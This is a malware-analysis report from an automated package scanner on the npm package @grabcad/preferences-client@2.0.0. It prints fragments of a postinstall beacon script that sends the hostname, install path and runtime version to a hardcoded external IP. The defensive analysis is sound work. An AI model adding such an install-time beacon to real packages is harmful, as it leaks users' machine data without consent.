@grabcad/preferences-client@2.0.0
Compatibility shim.
AI Security Review
scanned 3h ago · by lpm-firewall-aiThe source confirms automatic installation-time disclosure of identifying host and project metadata to a fixed external collector. This supports blocking the package as data exfiltration.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation or importing index.js.
Impact
The endpoint receives identifying host and project-location data without a visible consent check.
Mechanism
beacon.cjs collects machine and path metadata, serializes it, and sends it by HTTP POST to a hardcoded IP address.
Attack narrative
The postinstall hook runs the beacon automatically, which sends the machine hostname, installation path, working directory, and runtime version to a fixed external endpoint. Importing the package also invokes the beacon. The inspected source shows no consent gate for either activation path.
AI rationale
The source confirms automatic installation-time disclosure of identifying host and project metadata to a fixed external collector. This supports blocking the package as data exfiltration.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs beacon.cjs automatically from its postinstall hook.
- When run directly, beacon.cjs calls fire().
- The beacon uses a fixed HTTP endpoint at 185.158.107.175.
- The payload includes the machine hostname, install path, working directory, and Node version.
- The beacon serializes the payload and sends it in a POST request.
- Importing index.js also invokes the beacon.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
9 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
],
"license": "MIT"
}
High
Suspicious Lifecycle Evidence
The package runs beacon.cjs automatically from its postinstall hook.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@grabcad/preferences-client";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
9 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @grabcad/preferences-client@2.0.0.
See all versions of @grabcad/preferences-client for other recorded verdicts.
- Avoid installing @grabcad/preferences-client@2.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.